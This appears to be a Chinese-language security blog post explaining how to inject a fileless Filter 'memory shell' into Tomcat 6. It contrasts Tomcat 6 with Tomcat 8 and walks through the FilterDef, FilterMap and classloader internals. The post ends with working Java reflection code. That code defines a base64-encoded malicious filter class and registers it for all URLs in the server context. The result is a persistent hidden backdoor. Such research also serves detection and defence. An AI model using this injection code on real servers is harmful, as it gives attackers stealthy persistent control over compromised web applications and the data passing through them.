Java安全之Tomcat6 Filter記憶體馬

2022-10-30 06:00:19

Java安全之Tomcat6 Filter記憶體馬

回顧Tomcat8打法

先回顧下之前Tomcat789的打法

這裡先拋開 7 8之間的區別, 在8中,最後add到filterchain的都是一個filterconfig物件

ApplicationFilterConfig包含了FilterDef物件

構造方法如下,如果當前filter屬性為null會從FilterDef取filter的範例物件

ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException {
        this.context = context;
        this.filterDef = filterDef;
        if (filterDef.getFilter() == null) {
            this.getFilter();
        } else {
            this.filter = filterDef.getFilter();
            this.getInstanceManager().newInstance(this.filter);
            this.initFilter();
        }

    }

FilterDef中儲存了filterClass / filterName / filter 屬性

public class FilterDef implements Serializable {
    private static final long serialVersionUID = 1L;
    private static final StringManager sm;
    private String description = null;
    private String displayName = null;
    private transient Filter filter = null;
    private String filterClass = null;
    private String filterName = null;
    private String largeIcon = null;
    private final Map<String, String> parameters = new HashMap();
    private String smallIcon = null;
    private String asyncSupported = null;

    public FilterDef() {
    }

再有就是createFilterChain中還涉及到filterMap

FilterMap裡主要存放urlpatterner和filterName的對映

public class FilterMap extends XmlEncodingBase implements Serializable {
    private static final long serialVersionUID = 1L;
    public static final int ERROR = 1;
    public static final int FORWARD = 2;
    public static final int INCLUDE = 4;
    public static final int REQUEST = 8;
    public static final int ASYNC = 16;
    private static final int NOT_SET = 0;
    private int dispatcherMapping = 0;
    private String filterName = null;
    private String[] servletNames = new String[0];
    private boolean matchAllUrlPatterns = false;
    private boolean matchAllServletNames = false;
    private String[] urlPatterns = new String[0];

  • tomcat8下注入filter記憶體馬流程如下:

  • FilterDef: 設定 setFilter(Filter filter) setFilterName(String filterName) setFilterClass(String filterClass) 這裡filterName和filterClass應該不是一個東西,最後呼叫StandardContext#addFilterDef將該惡意filterdef put到this.filterDefs

  • FilterMap: addURLPattern("/*") setFilterName(String filterName) setDispatcher(DispatcherType.REQUEST.name()),最後呼叫StandardContext#addFilterMapBefore(filtermap) 新增到this.filterMaps

  • ApplicationFilterConfig: 呼叫有參構造將FilterDef作為引數傳遞進去後調有參構造範例化一個ApplicationFilterConfig,最終put進standardcontext的屬性裡去。

探索Tomcat6與Tomcat8之間的區別

主要看下tomcat6和tomcat8之間createFilterChain不相同的地方 看到ApplicationFilterFactory#createFilterChain

跟進getFilter

主要程式碼如下:

所以這裡構造filterDef的時候filterClass為evilfilter的全類名即可

再來看下FilterDef 可以發現確實在Tomcat6下面沒有filter這個屬性了

所以一個很大的區別就是在getFilter方法,也就是獲取filter範例物件的邏輯:

Tomcat8中是通過filterDef的屬性filter值來拿到 惡意filter範例

Tomcat6中是通過filterDef的屬性filterClass屬性作為類名,通過ClassLoader去範例化

這裡當我們呼叫有參構造範例化ApplicationFilterConfig時,會進入getFilter方法邏輯內

重點看loadClass方法是否可以載入到我們的惡意filter,因為這個filter並不是真實存在,且我們也只是通過了當前執行緒去defineClass的

跟進WebappClassLoader#loadClass

看到this.findLoadedClass0(name)從resourceEntries也就是classes下各個包中的.class找,是否有這個類,有的話直接return 這個entry的loadClass屬性

這個屬性儲存的是該類的class物件,如果這裡面有該類名,後面就直接resovleClass了

這裡肯定是沒有我們的惡意filter,繼續往下跟

後面直接呼叫java.lang.ClassLoader#findLoadedClass來通過ClassLoader去找是否已經載入過該class了

而在這裡是直接找到了

查閱開發資料並思考了一下:

這裡因為我們之前是通過當前執行緒上下文載入器把惡意filter給loadClass了,所以這裡就是可以找到的

後面隨手翻了下classloader的屬性,發現在classes屬性是存在該filter的class的

那麼正好來debug一下當前執行緒上下文ClassLoader#loadClass的過程

可以看到當前上下文的ClassLoader就是WebappClassLoader,並且此時classes屬性裡並沒有我們的惡意類

而當步過defineClass後,當前執行緒上下文ClassLoader也就是WebappClassLoaderclasses屬性中就新增了我們的惡意filter的class

所以後續在getFilter的邏輯中也是可以成功通過

回溯上面的邏輯時,getFilter方法因為會走到這個else邏輯內,所以最終也是通過WebappClassLoader#loadClass的我們的惡意filter

以上,所以因為我們前面呼叫的是Thread.currentThread().getContextClassLoader()去載入的我們惡意filter類,而tomcat6中getFilter邏輯是通過this.context.getLoader().getClassLoader();去findClass,而這兩個ClassLoader又同為WebappClassLoader所以不會存在ClassNotfound的問題。 所以tomcat6中注入filter記憶體馬就不需要先範例化惡意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()defineClass一下惡意filter即可。

注入記憶體馬的主要程式碼如下:

Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var1.setAccessible(true);
byte[] var2 = base64decode("base64 str");
var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);

try {
          
  if (STANDARDCONTET != null) {
    // 1 反射獲取filterDef
    Class FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
    Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{});
    Object filterDef = FilterDefconstructor.newInstance();

    // 2 設定filtername
    Method setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class);
    setFilterNameMethod.invoke(filterDef,filterName);

    // 3 setFilterClass
    Method setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class);
    setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName());

    // 4 addFilterDef
    Method addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass);
    addFilterDef.invoke(STANDARDCONTET,filterDef);

    // 構造FilterMap
    Class FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
    Object filterMap =  FilterMapClass.newInstance();

    Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class);
    setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef));
    Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class);
    setDispatcherMethod.invoke(filterMap,"REQUEST");
    Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class);
    addURLPatternMethod.invoke(filterMap,"/*");

    Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
    addFilterMapMethod.invoke(STANDARDCONTET,filterMap);

    // 建立filterconfig 並新增到standardcontext.filterconfigs陣列裡
    Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
    Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));
    filterConfigCon.setAccessible(true);
    // 範例化ApplicationFilterConfig時觸發getFilter方法
    Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef);

    Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET);
    filterConfigsMap.put(filterName, filterConfigObj);

  }


} catch (Throwable var16) {
  var16.printStackTrace();
}